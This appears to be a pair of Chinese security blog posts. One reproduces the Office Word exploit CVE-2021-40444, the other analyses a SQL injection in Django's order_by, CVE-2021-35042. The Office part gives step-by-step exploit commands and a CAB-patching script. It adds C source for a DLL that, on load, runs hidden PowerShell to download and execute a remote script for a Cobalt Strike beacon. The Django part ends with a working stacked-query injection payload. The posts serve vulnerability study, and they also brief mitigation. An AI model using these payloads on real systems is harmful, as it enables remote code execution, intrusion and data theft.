Office Word的一个1day,首先来复现一下使用,如果直接运行会显示CAB file建立时出错,需要先安装lacb。这里使用Tools老哥的一个方法,直接安装:
wget http://ftp.debian.org/debian/pool/main/l/lcab/lcab_1.0b12.orig.tar.gztar zxvf lcab_1.0b12.orig.tar.gzcd lcab-1.0b12./configuremakesudo make installwhich lcab使用项目地址:https://github.com/lockedbyte/CVE-2021-40444
利用文档中给出的方法执行:
python3 exploit.py generate test/calc.dll http://192.168.111.130:5555
然后监听
python3 exploit.py host 5555
把在out文件夹下生成的document.docx拷贝到Windows下,此处的office2019,16.0.13929版本。运行docx文件,可以看到交互过程

于是就可以弹出计算器
从请求上看,有一个word.html文件,在srv目录下。打开查看,OK 看不懂。。。看样子是做了混淆?不过任然可以依稀看到ActiveXObject,这个大概跟利用ActiveX控件有关。

可以来美化一下,虽然依旧看不懂就是。不过从中间大概可以看到几个关键点,XMLHttpRequest发起的请求,地址为http://192.168.111.130:5555/word.cab。所以这个cab文件才是真正执行的文件?
利用7z打开这个cab文件,文件标头为4D 53 43 46,虽然这个文件只有224K,但是里面有一个名为msword.inf的文件,大小为1G左右。这不太对。这个文件也在上面的js中提到过,所以大概是需要解压出来,想办法提取一下这个文件。

该文件是Windows的压缩格式,一般是作为安装包文件。利用Kali下的cabextract来解压。没有的话直接安装就行。
cabextract --list word.cab执行报错,这个文件不能正常解压提取,说明不是一个正经的cab文件。看一下python的处理代码

可以发现其实msword.inf就是word.dll。这个dll文件就是一开始传入的calc.dll重命名来的。后面用lcab来生成cab文件,然后用函数patch_cab来处理这个cab文件。这么我们先把这个处理前生成的cab文件保存一下。
execute_cmd('lcab out.cab out2.cab')获取到out2.cab,这个文件可以正常解压查看,所以我们先尝试是否能自己生成一个cab文件,利用dll来转换。
用cobaltstrike生成一个DLL文件,按照转换方式来处理一下。先改个名字,此处用的beacon作为名字,那么word.html中也要做相应的修改。或者把名字改为msword。

然后需要patch一下,原项目中存在patch脚本,修改为类似如下:
#!/usr/bin/env python3# Patch cab filem_off = 0x2df = open('./beacon.cab','rb')cab_data = f.read()f.close()out_cab_data = cab_data[:m_off]out_cab_data += b'\x00\x5c\x41\x00'out_cab_data += cab_data[m_off+4:]out_cab_data = out_cab_data.replace(b'..\\beacon.inf', b'../beacon.inf')f = open('./beacon2.cab','wb')f.write(out_cab_data)f.close()但是在执行过程中并没有上线,不确定原因,可能是DLL的问题?CS生成的DLL不能直接拿来用?
使用C代码编译生成一个DLL,利用如下代码,编译执行即可。
#include <windows.h>void exec(void) {system("powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.111.130:80/a'))\"");return;}BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved ){ switch( fdwReason ) { case DLL_PROCESS_ATTACH: exec(); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: break; } return TRUE;}编译
apt-get install gcc-mingw-w64i686-w64-mingw32-gcc -shared beacon.c -o beacon.dll把文件放到test目录下,执行上面的命令。

减轻影响
这个是利用ActiveX控件来执行的,而这个控件只有IE支持,到IE的选项-安全中,自定义安全级别,在运行ActiveX控件和插件选项中选择禁用。
参考地址:
https://github.com/lockedbyte/CVE-2021-40444
]]>该漏洞是由于对QuerySet.order_by()中用户提供数据的过滤不足,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行SQL注入攻击,最终造成服务器敏感信息泄露。
先本地创建一个Django环境,使用的版本为Django 3.1.10。具体的示例代码就使用:https://github.com/YouGina/CVE-2021-35042。
其中获取GET参数值的是request.GET.get('order_by', 'name')这么一段,从order_by 中获取值,缺省为name。这个name的意思是数据库的字段。在models.py文件中有定义,也就是其实获取的是需要去查询的数据库字段名。
class User(models.Model): name = models.CharField(max_length=200) def __str__(self): return self.nameorder_by这个参数的作用的排序,对一个列或者多个值进行升序或者降序的排列。比如:
SELECT * FROM Websites ORDER BY alexa DESC;上面这个SQL的意思就是,按照按照Alexa的顺序降序排列,DESC为降序,ASC为升序。
此问题按照官方的说法是:绕过标记为弃用的路径中的预期列引用验证。
在这里我们先输入一个不存在的字段名name4,查看一下是怎样一个流程。首先进入如下函数,判断order_by 的排序顺序和表达式。
def add_ordering(self, *ordering): """ Add items from the 'ordering' sequence to the query's "order by" clause. These items are either field names (not column names) -- possibly with a direction prefix ('-' or '?') -- or OrderBy expressions. If 'ordering' is empty, clear all ordering from the query. """ errors = [] for item in ordering: if isinstance(item, str): if '.' in item: warnings.warn( 'Passing column raw column aliases to order_by() is ' 'deprecated. Wrap %r in a RawSQL expression before ' 'passing it to order_by().' % item, category=RemovedInDjango40Warning, stacklevel=3, ) continue if item == '?': continue if item.startswith('-'): item = item[1:] if item in self.annotations: continue if self.extra and item in self.extra: continue # names_to_path() validates the lookup. A descriptive # FieldError will be raise if it's not. self.names_to_path(item.split(LOOKUP_SEP), self.model._meta) elif not hasattr(item, 'resolve_expression'): errors.append(item) if getattr(item, 'contains_aggregate', False): raise FieldError( 'Using an aggregate in order_by() without also including ' 'it in annotate() is not allowed: %s' % item ) if errors: raise FieldError('Invalid order_by arguments: %s' % errors) if ordering: self.order_by += ordering else: self.default_ordering = False函数走到names_to_path的时候会根据传入的参数生成一个PathInfo 元组。返回最终的字段和没有找到的字段。其中opts代表模型选项,这里代表的这个表。然后去获取传入的字段值。当最后找不到这个字段的时候,会报一个Cannot resolve keyword '%s' into field的错误,也就是我们最后会看到的错误。
def names_to_path(self, names, opts, allow_many=True, fail_on_missing=False): path, names_with_path = [], [] for pos, name in enumerate(names): cur_names_with_path = (name, []) if name == 'pk': name = opts.pk.name field = None filtered_relation = None try: field = opts.get_field(name) except FieldDoesNotExist: if name in self.annotation_select: field = self.annotation_select[name].output_field elif name in self._filtered_relations and pos == 0: filtered_relation = self._filtered_relations[name] field = opts.get_field(filtered_relation.relation_name) if field is not None: # Fields that contain one-to-many relations with a generic # model (like a GenericForeignKey) cannot generate reverse # relations and therefore cannot be used for reverse querying. if field.is_relation and not field.related_model: raise FieldError( "Field %r does not generate an automatic reverse " "relation and therefore cannot be used for reverse " "querying. If it is a GenericForeignKey, consider " "adding a GenericRelation." % name ) try: model = field.model._meta.concrete_model except AttributeError: # QuerySet.annotate() may introduce fields that aren't # attached to a model. model = None else: # We didn't find the current field, so move position back # one step. pos -= 1 if pos == -1 or fail_on_missing: available = sorted([ *get_field_names_from_opts(opts), *self.annotation_select, *self._filtered_relations, ]) raise FieldError("Cannot resolve keyword '%s' into field. " "Choices are: %s" % (name, ", ".join(available))) breakget_field函数的意思是返回一个字段名称的字段实例。对应的表内字段名和字段实例的字典类型。其中_forward_fields_map和fields_map的作用是相同的,就是后者还会检查一些内部的其他字段。
def get_field(self, field_name): """ Return a field instance given the name of a forward or reverse field. """ try: # In order to avoid premature loading of the relation tree # (expensive) we prefer checking if the field is a forward field. return self._forward_fields_map[field_name] except KeyError: # If the app registry is not ready, reverse fields are # unavailable, therefore we throw a FieldDoesNotExist exception. if not self.apps.models_ready: raise FieldDoesNotExist( "%s has no field named '%s'. The app cache isn't ready yet, " "so if this is an auto-created related field, it won't " "be available yet." % (self.object_name, field_name) ) try: # Retrieve field instance by name from cached or just-computed # field map. return self.fields_map[field_name] except KeyError: raise FieldDoesNotExist("%s has no field named '%s'" % (self.object_name, field_name))最后都不存在的情况下会告知,User has no field named name4。
当然如果是存在的字段,比如name,程序从get_field获取到的field就是cve_orderby.User.name。也就是不管传入的参数是否正常,只要走了names_to_path最后都会返回不存在字段或者存在的字段实例对象,而不是拼接SQL去执行,那么至少在这里就不能造成SQL注入了。整个执行的代码都为:SELECT "cve_orderby_user"."id", "cve_orderby_user"."name" FROM "cve_orderby_user"。
在查了一堆资料发现这个问题其实是绕过names_to_path这个判断,在函数add_ordering中,主要有五个判断:
所以,此处我们传一个带点的参数,比如name.name。到add_ordering中的时候,走到这个函数上,由于存在continue的作用,将跳过后续的判断,也就是不在进行names_to_path,无法获取字段的实例对象。

后续进入_fetch_all的时候就已经生成SQL:SELECT "cve_orderby_user"."id", "cve_orderby_user"."name" FROM "cve_orderby_user" ORDER BY ("name".name) ASC。也就是把参数name.name拼接进去。
于是构造一条语句,注意这里使用的是MySQL数据库。构造:SELECT cve_orderby_user.id, cve_orderby_user.name FROM cve_orderby_user ORDER BY (cve_orderby_user.name);select updatexml(1,concat(0x7e,(select @@version)),1);#) ASC
只需要传输参数:cve_orderby_user.name);select updatexml(1,concat(0x7e,(select @@version)),1);#